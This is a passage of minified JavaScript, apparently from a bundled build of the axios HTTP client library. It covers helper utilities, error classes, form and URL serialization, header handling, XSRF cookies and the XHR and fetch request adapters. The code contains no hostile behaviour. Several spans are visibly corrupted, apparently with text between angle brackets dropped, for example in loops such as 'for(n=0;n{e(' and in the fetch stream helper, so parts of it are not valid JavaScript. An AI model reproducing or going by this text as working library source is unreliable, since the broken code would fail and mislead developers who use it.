t=0,e=arguments.length;t(Ny(e,((e,n)=>{r&&yy(e)?t[n]=ay(e,r):t[n]=e}),{allOwnKeys:n}),t),trim:t=>t.trim?t.trim():t.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,\"\"),stripBOM:t=>(65279===t.charCodeAt(0)&&(t=t.slice(1)),t),inherits:(t,e,r,n)=>{t.prototype=Object.create(e.prototype,n),t.prototype.constructor=t,Object.defineProperty(t,\"super\",{value:e.prototype}),r&&Object.assign(t.prototype,r)},toFlatObject:(t,e,r,n)=>{let A,i,o;const s={};if(e=e||{},null==t)return e;do{for(A=Object.getOwnPropertyNames(t),i=A.length;i-- >0;)o=A[i],n&&!n(o,t,e)||s[o]||(e[o]=t[o],s[o]=!0);t=!1!==r&&hy(t)}while(t&&(!r||r(t,e))&&t!==Object.prototype);return e},kindOf:gy,kindOfTest:uy,endsWith:(t,e,r)=>{t=String(t),(void 0===r||r>t.length)&&(r=t.length),r-=e.length;const n=t.indexOf(e,r);return-1!==n&&n===r},toArray:t=>{if(!t)return null;if(fy(t))return t;let e=t.length;if(!Cy(e))return null;const r=new Array(e);for(;e-- >0;)r[e]=t[e];return r},forEachEntry:(t,e)=>{const r=(t&&t[Symbol.iterator]).call(t);let n;for(;(n=r.next())&&!n.done;){const r=n.value;e.call(t,r[0],r[1])}},matchAll:(t,e)=>{let r;const n=[];for(;null!==(r=t.exec(e));)n.push(r);return n},isHTMLForm:Ty,hasOwnProperty:Ry,hasOwnProp:Ry,reduceDescriptors:Gy,freezeMethods:t=>{Gy(t,((e,r)=>{if(yy(t)&&-1!==[\"arguments\",\"caller\",\"callee\"].indexOf(r))return!1;const n=t[r];yy(n)&&(e.enumerable=!1,\"writable\"in e?e.writable=!1:e.set||(e.set=()=>{throw Error(\"Can not rewrite read-only method '\"+r+\"'\")}))}))},toObjectSet:(t,e)=>{const r={},n=t=>{t.forEach((t=>{r[t]=!0}))};return fy(t)?n(t):n(String(t).split(e)),r},toCamelCase:t=>t.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,(function(t,e,r){return e.toUpperCase()+r})),noop:()=>{},toFiniteNumber:(t,e)=>null!=t&&Number.isFinite(t=+t)?t:e,findKey:My,global:xy,isContextDefined:Fy,ALPHABET:Oy,generateString:(t=16,e=Oy.ALPHA_DIGIT)=>{let r=\"\";const{length:n}=e;for(;t--;)r+=e[Math.random()*n|0];return r},isSpecCompliantForm:function(t){return!!(t&&yy(t.append)&&\"FormData\"===t[Symbol.toStringTag]&&t[Symbol.iterator])},toJSONObject:t=>{const e=new Array(10),r=(t,n)=>{if(my(t)){if(e.indexOf(t)>=0)return;if(!(\"toJSON\"in t)){e[n]=t;const A=fy(t)?[]:{};return Ny(t,((t,e)=>{const i=r(t,n+1);!py(i)&&(A[e]=i)})),e[n]=void 0,A}}return t};return r(t,0)},isAsyncFn:Yy,isThenable:t=>t&&(my(t)||yy(t))&&yy(t.then)&&yy(t.catch)};function Jy(t,e,r,n,A){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=(new Error).stack,this.message=t,this.name=\"AxiosError\",e&&(this.code=e),r&&(this.config=r),n&&(this.request=n),A&&(this.response=A)}Al(),il(),Al(),il(),Al(),il(),Al(),il(),Al(),il(),Ky.inherits(Jy,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:Ky.toJSONObject(this.config),code:this.code,status:this.response&&this.response.status?this.response.status:null}}});var jy=Jy.prototype,zy={};[\"ERR_BAD_OPTION_VALUE\",\"ERR_BAD_OPTION\",\"ECONNABORTED\",\"ETIMEDOUT\",\"ERR_NETWORK\",\"ERR_FR_TOO_MANY_REDIRECTS\",\"ERR_DEPRECATED\",\"ERR_BAD_RESPONSE\",\"ERR_BAD_REQUEST\",\"ERR_CANCELED\",\"ERR_NOT_SUPPORT\",\"ERR_INVALID_URL\"].forEach((t=>{zy[t]={value:t}})),Object.defineProperties(Jy,zy),Object.defineProperty(jy,\"isAxiosError\",{value:!0}),Jy.from=(t,e,r,n,A,i)=>{const o=Object.create(jy);return Ky.toFlatObject(t,o,(function(t){return t!==Error.prototype}),(t=>\"isAxiosError\"!==t)),Jy.call(o,t.message,e,r,n,A),o.cause=t,o.name=t.name,i&&Object.assign(o,i),o};var qy=Jy;Al(),il();function Xy(t){return Ky.isPlainObject(t)||Ky.isArray(t)}function Vy(t){return Ky.endsWith(t,\"[]\")?t.slice(0,-2):t}function Wy(t,e,r){return t?t.concat(e).map((function(t,e){return t=Vy(t),!r&&e?\"[\"+t+\"]\":t})).join(r?\".\":\"\"):e}var Zy=Ky.toFlatObject(Ky,{},null,(function(t){return/^is[A-Z]/.test(t)}));var $y=function(t,e,r){if(!Ky.isObject(t))throw new TypeError(\"target must be an object\");e=e||new FormData;const n=(r=Ky.toFlatObject(r,{metaTokens:!0,dots:!1,indexes:!1},!1,(function(t,e){return!Ky.isUndefined(e[t])}))).metaTokens,A=r.visitor||c,i=r.dots,o=r.indexes,s=(r.Blob||\"undefined\"!=typeof Blob&&Blob)&&Ky.isSpecCompliantForm(e);if(!Ky.isFunction(A))throw new TypeError(\"visitor must be a function\");function a(t){if(null===t)return\"\";if(Ky.isDate(t))return t.toISOString();if(!s&&Ky.isBlob(t))throw new qy(\"Blob is not supported. Use a Buffer instead.\");return Ky.isArrayBuffer(t)||Ky.isTypedArray(t)?s&&\"function\"==typeof Blob?new Blob([t]):Buffer.from(t):t}function c(t,r,A){let s=t;if(t&&!A&&\"object\"==typeof t)if(Ky.endsWith(r,\"{}\"))r=n?r:r.slice(0,-2),t=JSON.stringify(t);else if(Ky.isArray(t)&&function(t){return Ky.isArray(t)&&!t.some(Xy)}(t)||(Ky.isFileList(t)||Ky.endsWith(r,\"[]\"))&&(s=Ky.toArray(t)))return r=Vy(r),s.forEach((function(t,n){!Ky.isUndefined(t)&&null!==t&&e.append(!0===o?Wy([r],n,i):null===o?r:r+\"[]\",a(t))})),!1;return!!Xy(t)||(e.append(Wy(A,r,i),a(t)),!1)}const h=[],g=Object.assign(Zy,{defaultVisitor:c,convertValue:a,isVisitable:Xy});if(!Ky.isObject(t))throw new TypeError(\"data must be an object\");return function t(r,n){if(!Ky.isUndefined(r)){if(-1!==h.indexOf(r))throw Error(\"Circular reference detected in \"+n.join(\".\"));h.push(r),Ky.forEach(r,(function(r,i){!0===(!(Ky.isUndefined(r)||null===r)&&A.call(e,r,Ky.isString(i)?i.trim():i,n,g))&&t(r,n?n.concat(i):[i])})),h.pop()}}(t),e};function tC(t){const e={\"!\":\"%21\",\"'\":\"%27\",\"(\":\"%28\",\")\":\"%29\",\"~\":\"%7E\",\"%20\":\"+\",\"%00\":\"\\0\"};return encodeURIComponent(t).replace(/[!'()~]|%20|%00/g,(function(t){return e[t]}))}function eC(t,e){this._pairs=[],t&&$y(t,this,e)}var rC=eC.prototype;rC.append=function(t,e){this._pairs.push([t,e])},rC.toString=function(t){const e=t?function(e){return t.call(this,e,tC)}:tC;return this._pairs.map((function(t){return e(t[0])+\"=\"+e(t[1])}),\"\").join(\"&\")};var nC=eC;function AC(t){return encodeURIComponent(t).replace(/%3A/gi,\":\").replace(/%24/g,\"$\").replace(/%2C/gi,\",\").replace(/%20/g,\"+\").replace(/%5B/gi,\"[\").replace(/%5D/gi,\"]\")}function iC(t,e,r){if(!e)return t;const n=r&&r.encode||AC,A=r&&r.serialize;let i;if(i=A?A(e,r):Ky.isURLSearchParams(e)?e.toString():new nC(e,r).toString(n),i){const e=t.indexOf(\"#\");-1!==e&&(t=t.slice(0,e)),t+=(-1===t.indexOf(\"?\")?\"?\":\"&\")+i}return t}Al(),il();var oC=class{constructor(){this.handlers=[]}use(t,e,r){return this.handlers.push({fulfilled:t,rejected:e,synchronous:!!r&&r.synchronous,runWhen:r?r.runWhen:null}),this.handlers.length-1}eject(t){this.handlers[t]&&(this.handlers[t]=null)}clear(){this.handlers&&(this.handlers=[])}forEach(t){Ky.forEach(this.handlers,(function(e){null!==e&&t(e)}))}};Al(),il(),Al(),il(),Al(),il(),Al(),il();var sC={silentJSONParsing:!0,forcedJSONParsing:!0,clarifyTimeoutError:!1};Al(),il(),Al(),il(),Al(),il(),Al(),il();var aC=\"undefined\"!=typeof URLSearchParams?URLSearchParams:nC;Al(),il();var cC=\"undefined\"!=typeof FormData?FormData:null;Al(),il();var hC={isBrowser:!0,classes:{URLSearchParams:aC,FormData:cC,Blob:\"undefined\"!=typeof Blob?Blob:null},protocols:[\"http\",\"https\",\"file\",\"blob\",\"url\",\"data\"]},gC={};((t,e)=>{for(var r in e)Vu(t,r,{get:e[r],enumerable:!0})})(gC,{hasBrowserEnv:()=>lC,hasStandardBrowserEnv:()=>fC,hasStandardBrowserWebWorkerEnv:()=>pC,origin:()=>dC}),Al(),il();var uC,lC=\"undefined\"!=typeof window&&\"undefined\"!=typeof document,fC=(uC=\"undefined\"!=typeof navigator&&navigator.product,lC&&[\"ReactNative\",\"NativeScript\",\"NS\"].indexOf(uC)<0),pC=\"undefined\"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope&&\"function\"==typeof self.importScripts,dC=lC&&window.location.href||\"http://localhost\",IC={...gC,...hC};Al(),il();var yC=function(t){function e(t,r,n,A){let i=t[A++];if(\"__proto__\"===i)return!0;const o=Number.isFinite(+i),s=A>=t.length;if(i=!i&&Ky.isArray(n)?n.length:i,s)return Ky.hasOwnProp(n,i)?n[i]=[n[i],r]:n[i]=r,!o;n[i]&&Ky.isObject(n[i])||(n[i]=[]);return e(t,r,n[i],A)&&Ky.isArray(n[i])&&(n[i]=function(t){const e={},r=Object.keys(t);let n;const A=r.length;let i;for(n=0;n{e(function(t){return Ky.matchAll(/\\w+|\\[(\\w*)]/g,t).map((t=>\"[]\"===t[0]?\"\":t[1]||t[0]))}(t),n,r,0)})),r}return null};var CC={transitional:sC,adapter:[\"xhr\",\"http\",\"fetch\"],transformRequest:[function(t,e){const r=e.getContentType()||\"\",n=r.indexOf(\"application/json\")>-1,A=Ky.isObject(t);A&&Ky.isHTMLForm(t)&&(t=new FormData(t));if(Ky.isFormData(t))return n?JSON.stringify(yC(t)):t;if(Ky.isArrayBuffer(t)||Ky.isBuffer(t)||Ky.isStream(t)||Ky.isFile(t)||Ky.isBlob(t)||Ky.isReadableStream(t))return t;if(Ky.isArrayBufferView(t))return t.buffer;if(Ky.isURLSearchParams(t))return e.setContentType(\"application/x-www-form-urlencoded;charset=utf-8\",!1),t.toString();let i;if(A){if(r.indexOf(\"application/x-www-form-urlencoded\")>-1)return function(t,e){return $y(t,new IC.classes.URLSearchParams,Object.assign({visitor:function(t,e,r,n){return IC.isNode&&Ky.isBuffer(t)?(this.append(e,t.toString(\"base64\")),!1):n.defaultVisitor.apply(this,arguments)}},e))}(t,this.formSerializer).toString();if((i=Ky.isFileList(t))||r.indexOf(\"multipart/form-data\")>-1){const e=this.env&&this.env.FormData;return $y(i?{\"files[]\":t}:t,e&&new e,this.formSerializer)}}return A||n?(e.setContentType(\"application/json\",!1),function(t,e,r){if(Ky.isString(t))try{return(e||JSON.parse)(t),Ky.trim(t)}catch(t){if(\"SyntaxError\"!==t.name)throw t}return(r||JSON.stringify)(t)}(t)):t}],transformResponse:[function(t){const e=this.transitional||CC.transitional,r=e&&e.forcedJSONParsing,n=\"json\"===this.responseType;if(Ky.isResponse(t)||Ky.isReadableStream(t))return t;if(t&&Ky.isString(t)&&(r&&!this.responseType||n)){const r=!(e&&e.silentJSONParsing)&&n;try{return JSON.parse(t)}catch(t){if(r){if(\"SyntaxError\"===t.name)throw qy.from(t,qy.ERR_BAD_RESPONSE,this,null,this.response);throw t}}}return t}],timeout:0,xsrfCookieName:\"XSRF-TOKEN\",xsrfHeaderName:\"X-XSRF-TOKEN\",maxContentLength:-1,maxBodyLength:-1,env:{FormData:IC.classes.FormData,Blob:IC.classes.Blob},validateStatus:function(t){return t>=200&&t<300},headers:{common:{Accept:\"application/json, text/plain, */*\",\"Content-Type\":void 0}}};Ky.forEach([\"delete\",\"get\",\"head\",\"post\",\"put\",\"patch\"],(t=>{CC.headers[t]={}}));var mC=CC;Al(),il(),Al(),il();var BC=Ky.toObjectSet([\"age\",\"authorization\",\"content-length\",\"content-type\",\"etag\",\"expires\",\"from\",\"host\",\"if-modified-since\",\"if-unmodified-since\",\"last-modified\",\"location\",\"max-forwards\",\"proxy-authorization\",\"referer\",\"retry-after\",\"user-agent\"]),EC=Symbol(\"internals\");function wC(t){return t&&String(t).trim().toLowerCase()}function vC(t){return!1===t||null==t?t:Ky.isArray(t)?t.map(vC):String(t)}function _C(t,e,r,n,A){return Ky.isFunction(n)?n.call(this,e,r):(A&&(e=r),Ky.isString(e)?Ky.isString(n)?-1!==e.indexOf(n):Ky.isRegExp(n)?n.test(e):void 0:void 0)}var QC=class{constructor(t){t&&this.set(t)}set(t,e,r){const n=this;function A(t,e,r){const A=wC(e);if(!A)throw new Error(\"header name must be a non-empty string\");const i=Ky.findKey(n,A);(!i||void 0===n[i]||!0===r||void 0===r&&!1!==n[i])&&(n[i||e]=vC(t))}const i=(t,e)=>Ky.forEach(t,((t,r)=>A(t,r,e)));if(Ky.isPlainObject(t)||t instanceof this.constructor)i(t,e);else if(Ky.isString(t)&&(t=t.trim())&&!/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(t.trim()))i((t=>{const e={};let r,n,A;return t&&t.split(\"\\n\").forEach((function(t){A=t.indexOf(\":\"),r=t.substring(0,A).trim().toLowerCase(),n=t.substring(A+1).trim(),!r||e[r]&&BC[r]||(\"set-cookie\"===r?e[r]?e[r].push(n):e[r]=[n]:e[r]=e[r]?e[r]+\", \"+n:n)})),e})(t),e);else if(Ky.isHeaders(t))for(const[e,n]of t.entries())A(n,e,r);else null!=t&&A(e,t,r);return this}get(t,e){if(t=wC(t)){const r=Ky.findKey(this,t);if(r){const t=this[r];if(!e)return t;if(!0===e)return function(t){const e=Object.create(null),r=/([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;let n;for(;n=r.exec(t);)e[n[1]]=n[2];return e}(t);if(Ky.isFunction(e))return e.call(this,t,r);if(Ky.isRegExp(e))return e.exec(t);throw new TypeError(\"parser must be boolean|regexp|function\")}}}has(t,e){if(t=wC(t)){const r=Ky.findKey(this,t);return!(!r||void 0===this[r]||e&&!_C(0,this[r],r,e))}return!1}delete(t,e){const r=this;let n=!1;function A(t){if(t=wC(t)){const A=Ky.findKey(r,t);!A||e&&!_C(0,r[A],A,e)||(delete r[A],n=!0)}}return Ky.isArray(t)?t.forEach(A):A(t),n}clear(t){const e=Object.keys(this);let r=e.length,n=!1;for(;r--;){const A=e[r];t&&!_C(0,this[A],A,t,!0)||(delete this[A],n=!0)}return n}normalize(t){const e=this,r={};return Ky.forEach(this,((n,A)=>{const i=Ky.findKey(r,A);if(i)return e[i]=vC(n),void delete e[A];const o=t?function(t){return t.trim().toLowerCase().replace(/([a-z\\d])(\\w*)/g,((t,e,r)=>e.toUpperCase()+r))}(A):String(A).trim();o!==A&&delete e[A],e[o]=vC(n),r[o]=!0})),this}concat(...t){return this.constructor.concat(this,...t)}toJSON(t){const e=Object.create(null);return Ky.forEach(this,((r,n)=>{null!=r&&!1!==r&&(e[n]=t&&Ky.isArray(r)?r.join(\", \"):r)})),e}[Symbol.iterator](){return Object.entries(this.toJSON())[Symbol.iterator]()}toString(){return Object.entries(this.toJSON()).map((([t,e])=>t+\": \"+e)).join(\"\\n\")}get[Symbol.toStringTag](){return\"AxiosHeaders\"}static from(t){return t instanceof this?t:new this(t)}static concat(t,...e){const r=new this(t);return e.forEach((t=>r.set(t))),r}static accessor(t){const e=(this[EC]=this[EC]={accessors:{}}).accessors,r=this.prototype;function n(t){const n=wC(t);e[n]||(!function(t,e){const r=Ky.toCamelCase(\" \"+e);[\"get\",\"set\",\"has\"].forEach((n=>{Object.defineProperty(t,n+r,{value:function(t,r,A){return this[n].call(this,e,t,r,A)},configurable:!0})}))}(r,t),e[n]=!0)}return Ky.isArray(t)?t.forEach(n):n(t),this}};QC.accessor([\"Content-Type\",\"Content-Length\",\"Accept\",\"Accept-Encoding\",\"User-Agent\",\"Authorization\"]),Ky.reduceDescriptors(QC.prototype,(({value:t},e)=>{let r=e[0].toUpperCase()+e.slice(1);return{get:()=>t,set(t){this[r]=t}}})),Ky.freezeMethods(QC);var bC=QC;function kC(t,e){const r=this||mC,n=e||r,A=bC.from(n.headers);let i=n.data;return Ky.forEach(t,(function(t){i=t.call(r,i,A.normalize(),e?e.status:void 0)})),A.normalize(),i}function DC(t){return!(!t||!t.__CANCEL__)}function SC(t,e,r){qy.call(this,null==t?\"canceled\":t,qy.ERR_CANCELED,e,r),this.name=\"CanceledError\"}Al(),il(),Al(),il(),Ky.inherits(SC,qy,{__CANCEL__:!0});var NC=SC;function MC(t,e,r){const n=r.config.validateStatus;r.status&&n&&!n(r.status)?e(new qy(\"Request failed with status code \"+r.status,[qy.ERR_BAD_REQUEST,qy.ERR_BAD_RESPONSE][Math.floor(r.status/100)-4],r.config,r.request,r)):t(r)}Al(),il(),Al(),il(),Al(),il(),Al(),il(),Al(),il(),Al(),il();var xC=function(t,e){t=t||10;const r=new Array(t),n=new Array(t);let A,i=0,o=0;return e=void 0!==e?e:1e3,function(s){const a=Date.now(),c=n[o];A||(A=a),r[i]=s,n[i]=a;let h=o,g=0;for(;h!==i;)g+=r[h++],h%=t;if(i=(i+1)%t,i===o&&(o=(o+1)%t),a-An)return A&&(clearTimeout(A),A=null),r=i,t.apply(null,arguments);A||(A=setTimeout((()=>(A=null,r=Date.now(),t.apply(null,arguments))),n-(i-r)))}},PC=(t,e,r=3)=>{let n=0;const A=xC(50,250);return FC((r=>{const i=r.loaded,o=r.lengthComputable?r.total:void 0,s=i-n,a=A(s);n=i;const c={loaded:i,total:o,progress:o?i/o:void 0,bytes:s,rate:a||void 0,estimated:a&&o&&i<=o?(o-i)/a:void 0,event:r,lengthComputable:null!=o};c[e?\"download\":\"upload\"]=!0,t(c)}),r)};Al(),il(),Al(),il();var TC=IC.hasStandardBrowserEnv?function(){const t=/(msie|trident)/i.test(navigator.userAgent),e=document.createElement(\"a\");let r;function n(r){let n=r;return t&&(e.setAttribute(\"href\",n),n=e.href),e.setAttribute(\"href\",n),{href:e.href,protocol:e.protocol?e.protocol.replace(/:$/,\"\"):\"\",host:e.host,search:e.search?e.search.replace(/^\\?/,\"\"):\"\",hash:e.hash?e.hash.replace(/^#/,\"\"):\"\",hostname:e.hostname,port:e.port,pathname:\"/\"===e.pathname.charAt(0)?e.pathname:\"/\"+e.pathname}}return r=n(window.location.href),function(t){const e=Ky.isString(t)?n(t):t;return e.protocol===r.protocol&&e.host===r.host}}():function(){return function(){return!0}}();Al(),il();var RC=IC.hasStandardBrowserEnv?{write(t,e,r,n,A,i){const o=[t+\"=\"+encodeURIComponent(e)];Ky.isNumber(r)&&o.push(\"expires=\"+new Date(r).toGMTString()),Ky.isString(n)&&o.push(\"path=\"+n),Ky.isString(A)&&o.push(\"domain=\"+A),!0===i&&o.push(\"secure\"),document.cookie=o.join(\"; \")},read(t){const e=document.cookie.match(new RegExp(\"(^|;\\\\s*)(\"+t+\")=([^;]*)\"));return e?decodeURIComponent(e[3]):null},remove(t){this.write(t,\"\",Date.now()-864e5)}}:{write(){},read:()=>null,remove(){}};function UC(t,e){return t&&!/^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(e)?function(t,e){return e?t.replace(/\\/?\\/$/,\"\")+\"/\"+e.replace(/^\\/+/,\"\"):t}(t,e):e}Al(),il(),Al(),il(),Al(),il(),Al(),il();var GC=t=>t instanceof bC?{...t}:t;function HC(t,e){e=e||{};const r={};function n(t,e,r){return Ky.isPlainObject(t)&&Ky.isPlainObject(e)?Ky.merge.call({caseless:r},t,e):Ky.isPlainObject(e)?Ky.merge({},e):Ky.isArray(e)?e.slice():e}function A(t,e,r){return Ky.isUndefined(e)?Ky.isUndefined(t)?void 0:n(void 0,t,r):n(t,e,r)}function i(t,e){if(!Ky.isUndefined(e))return n(void 0,e)}function o(t,e){return Ky.isUndefined(e)?Ky.isUndefined(t)?void 0:n(void 0,t):n(void 0,e)}function s(r,A,i){return i in e?n(r,A):i in t?n(void 0,r):void 0}const a={url:i,method:i,data:i,baseURL:o,transformRequest:o,transformResponse:o,paramsSerializer:o,timeout:o,timeoutMessage:o,withCredentials:o,withXSRFToken:o,adapter:o,responseType:o,xsrfCookieName:o,xsrfHeaderName:o,onUploadProgress:o,onDownloadProgress:o,decompress:o,maxContentLength:o,maxBodyLength:o,beforeRedirect:o,transport:o,httpAgent:o,httpsAgent:o,cancelToken:o,socketPath:o,responseEncoding:o,validateStatus:s,headers:(t,e)=>A(GC(t),GC(e),!0)};return Ky.forEach(Object.keys(Object.assign({},t,e)),(function(n){const i=a[n]||A,o=i(t[n],e[n],n);Ky.isUndefined(o)&&i!==s||(r[n]=o)})),r}var LC=t=>{const e=HC({},t);let r,{data:n,withXSRFToken:A,xsrfHeaderName:i,xsrfCookieName:o,headers:s,auth:a}=e;if(e.headers=s=bC.from(s),e.url=iC(UC(e.baseURL,e.url),t.params,t.paramsSerializer),a&&s.set(\"Authorization\",\"Basic \"+btoa((a.username||\"\")+\":\"+(a.password?unescape(encodeURIComponent(a.password)):\"\"))),Ky.isFormData(n))if(IC.hasStandardBrowserEnv||IC.hasStandardBrowserWebWorkerEnv)s.setContentType(void 0);else if(!1!==(r=s.getContentType())){const[t,...e]=r?r.split(\";\").map((t=>t.trim())).filter(Boolean):[];s.setContentType([t||\"multipart/form-data\",...e].join(\"; \"))}if(IC.hasStandardBrowserEnv&&(A&&Ky.isFunction(A)&&(A=A(e)),A||!1!==A&&TC(e.url))){const t=i&&o&&RC.read(o);t&&s.set(i,t)}return e},OC=\"undefined\"!=typeof XMLHttpRequest&&function(t){return new Promise((function(e,r){const n=LC(t);let A=n.data;const i=bC.from(n.headers).normalize();let o,{responseType:s}=n;function a(){n.cancelToken&&n.cancelToken.unsubscribe(o),n.signal&&n.signal.removeEventListener(\"abort\",o)}let c=new XMLHttpRequest;function h(){if(!c)return;const n=bC.from(\"getAllResponseHeaders\"in c&&c.getAllResponseHeaders());MC((function(t){e(t),a()}),(function(t){r(t),a()}),{data:s&&\"text\"!==s&&\"json\"!==s?c.response:c.responseText,status:c.status,statusText:c.statusText,headers:n,config:t,request:c}),c=null}c.open(n.method.toUpperCase(),n.url,!0),c.timeout=n.timeout,\"onloadend\"in c?c.onloadend=h:c.onreadystatechange=function(){c&&4===c.readyState&&(0!==c.status||c.responseURL&&0===c.responseURL.indexOf(\"file:\"))&&setTimeout(h)},c.onabort=function(){c&&(r(new qy(\"Request aborted\",qy.ECONNABORTED,n,c)),c=null)},c.onerror=function(){r(new qy(\"Network Error\",qy.ERR_NETWORK,n,c)),c=null},c.ontimeout=function(){let t=n.timeout?\"timeout of \"+n.timeout+\"ms exceeded\":\"timeout exceeded\";const e=n.transitional||sC;n.timeoutErrorMessage&&(t=n.timeoutErrorMessage),r(new qy(t,e.clarifyTimeoutError?qy.ETIMEDOUT:qy.ECONNABORTED,n,c)),c=null},void 0===A&&i.setContentType(null),\"setRequestHeader\"in c&&Ky.forEach(i.toJSON(),(function(t,e){c.setRequestHeader(e,t)})),Ky.isUndefined(n.withCredentials)||(c.withCredentials=!!n.withCredentials),s&&\"json\"!==s&&(c.responseType=n.responseType),\"function\"==typeof n.onDownloadProgress&&c.addEventListener(\"progress\",PC(n.onDownloadProgress,!0)),\"function\"==typeof n.onUploadProgress&&c.upload&&c.upload.addEventListener(\"progress\",PC(n.onUploadProgress)),(n.cancelToken||n.signal)&&(o=e=>{c&&(r(!e||e.type?new NC(null,t,c):e),c.abort(),c=null)},n.cancelToken&&n.cancelToken.subscribe(o),n.signal&&(n.signal.aborted?o():n.signal.addEventListener(\"abort\",o)));const g=function(t){const e=/^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(t);return e&&e[1]||\"\"}(n.url);g&&-1===IC.protocols.indexOf(g)?r(new qy(\"Unsupported protocol \"+g+\":\",qy.ERR_BAD_REQUEST,t)):c.send(A||null)}))};Al(),il(),Al(),il();var YC=(t,e)=>{let r,n=new AbortController;const A=function(t){if(!r){r=!0,o();const e=t instanceof Error?t:this.reason;n.abort(e instanceof qy?e:new NC(e instanceof Error?e.message:e))}};let i=e&&setTimeout((()=>{A(new qy(`timeout ${e} of ms exceeded`,qy.ETIMEDOUT))}),e);const o=()=>{t&&(i&&clearTimeout(i),i=null,t.forEach((t=>{t&&(t.removeEventListener?t.removeEventListener(\"abort\",A):t.unsubscribe(A))})),t=null)};t.forEach((t=>t&&t.addEventListener&&t.addEventListener(\"abort\",A)));const{signal:s}=n;return s.unsubscribe=o,[s,()=>{i&&clearTimeout(i),i=null}]};Al(),il();var KC,JC=function*(t,e){let r=t.byteLength;if(!e||r{const i=async function*(t,e,r){for await(const n of t)yield*JC(ArrayBuffer.isView(n)?n:await r(String(n)),e)}(t,e,A);let o=0;return new ReadableStream({type:\"bytes\",async pull(t){const{done:e,value:A}=await i.next();if(e)return t.close(),void n();let s=A.byteLength;r&&r(o+=s),t.enqueue(new Uint8Array(A))},cancel:t=>(n(t),i.return())},{highWaterMark:2})},zC=(t,e)=>{const r=null!=t;return n=>setTimeout((()=>e({lengthComputable:r,total:t,loaded:n})))},qC=\"undefined\"!=typeof fetch,XC=qC&&\"undefined\"!=typeof ReadableStream,VC=qC&&(\"undefined\"!=typeof TextEncoder?(t=>e=>t.encode(e))(new TextEncoder):async t=>new Uint8Array(await new Response(t).arrayBuffer())),WC=XC&&(()=>{let t=!1;const e=new Request(IC.origin,{body:new ReadableStream,method:\"POST\",get duplex(){return t=!0,\"half\"}}).headers.has(\"Content-Type\");return t&&!e})(),ZC=XC&&!!(()=>{try{return Ky.isReadableStream(new Response(\"\").body)}catch(t){}})(),$C={stream:ZC&&(t=>t.body)};qC&&(KC=new Response,[\"text\",\"arrayBuffer\",\"blob\",\"formData\",\"stream\"].forEach((t=>{!$C[t]&&($C[t]=Ky.isFunction(KC[t])?e=>e[t]():(e,r)=>{throw new qy(`Response type '${t}' is not supported`,qy.ERR_NOT_SUPPORT,r)})})));var tm=async(t,e)=>{const r=Ky.toFiniteNumber(t.getContentLength());return null==r?(async t=>null==t?0:Ky.isBlob(t)?t.size:Ky.isSpecCompliantForm(t)?(await new Request(t).arrayBuffer()).byteLength:Ky.isArrayBufferView(t)?t.byteLength:(Ky.isURLSearchParams(t)&&(t+=\"\"),Ky.isString(t)?(await VC(t)).byteLength:void 0))(e):r},em={http:null,xhr:OC,fetch:qC&&(async t=>{let{url:e,method:r,data:n,signal:A,cancelToken:i,timeout:o,onDownloadProgress:s,onUploadProgress:a,responseType:c,headers:h,withCredentials:g=\"same-origin\",fetchOptions:u}=LC(t);c=c?(c+\"\").toLowerCase():\"text\";let l,f,[p,d]=A||i||o?YC([A,i],o):[];const I=()=>{!l&&setTimeout((()=>{p&&p.unsubscribe()})),l=!0};let y;try{if(a&&WC&&\"get\"!==r&&\"head\"!==r&&0!==(y=await tm(h,n))){let t,r=new Request(e,{method:\"POST\",body:n,duplex:\"half\"});Ky.isFormData(n)&&(t=r.headers.get(\"content-type\"))&&h.setContentType(t),r.body&&(n=jC(r.body,65536,zC(y,PC(a)),null,VC))}Ky.isString(g)||(g=g?\"cors\":\"omit\"),f=new Request(e,{...u,signal:p,method:r.toUpperCase(),headers:h.normalize().toJSON(),body:n,duplex:\"half\",withCredentials:g});let A=await fetch(f);const i=ZC&&(\"stream\"===c||\"response\"===c);if(ZC&&(s||i)){const t={};[\"status\",\"statusText\",\"headers\"].forEach((e=>{t[e]=A[e]}));const e=Ky.toFiniteNumber(A.headers.get(\"content-length\"));A=new Response(jC(A.body,65536,s&&zC(e,PC(s,!0)),i&&I,VC),t)}c=c||\"text\";let o=await $C[Ky.findKey($C,c)||\"text\"](A,t);return!i&&I(),d&&d(),await new Promise(((e,r)=>{MC(e,r,{data:o,headers:bC.from(A.headers),status:A.status,statusText:A.statusText,config:t,request:f})}))}catch(e){if(I(),e&&\"TypeError\"===e.name&&/fetch/i.test(e.message))throw Object.assign(new qy(\"Network Error\",qy.ERR_NETWORK,t,f),{cause:e.cause||e});throw qy.from(e,e&&e.code,t,f)}})};Ky.forEach(em,((t,e)=>{if(t){try{Object.defineProperty(t,\"name\",{value:e})}catch(t){}Object.defineProperty(t,\"adapterName\",{value:e})}}));var rm=t=>`- ${t}`,nm=t=>Ky.isFunction(t)||null===t||!1===t,Am=t=>{t=Ky.isArray(t)?t:[t];const{length:e}=t;let r,n;const A={};for(let i=0;i`adapter ${t} `+(!1===e?\"is not supported by the environment\":\"is not available in the build\")));let r=e?t.length>1?\"since :\\n\"+t.map(rm).join(\"\\n\"):\" \"+rm(t[0]):\"as no adapter specified\";throw new qy(\"There is no suitable adapter to dispatch the request \"+r,\"ERR_NOT_SUPPORT\")}return n};function im(t){if(t.cancelToken&&t.cancelToken.throwIfRequested(),t.signal&&t.signal.aborted)throw new NC(null,t)}function om(t){im(t),t.headers=bC.from(t.headers),t.data=kC.call(t,t.transformRequest),-1!==[\"post\",\"put\",\"patch\"].indexOf(t.method)&&t.headers.setContentType(\"application/x-www-form-urlencoded\",!1);return Am(t.adapter||mC.adapter)(t).then((function(e){return im(t),e.data=kC.call(t,t.transformResponse,e),e.headers=bC.from(e.headers),e}),(function(e){return 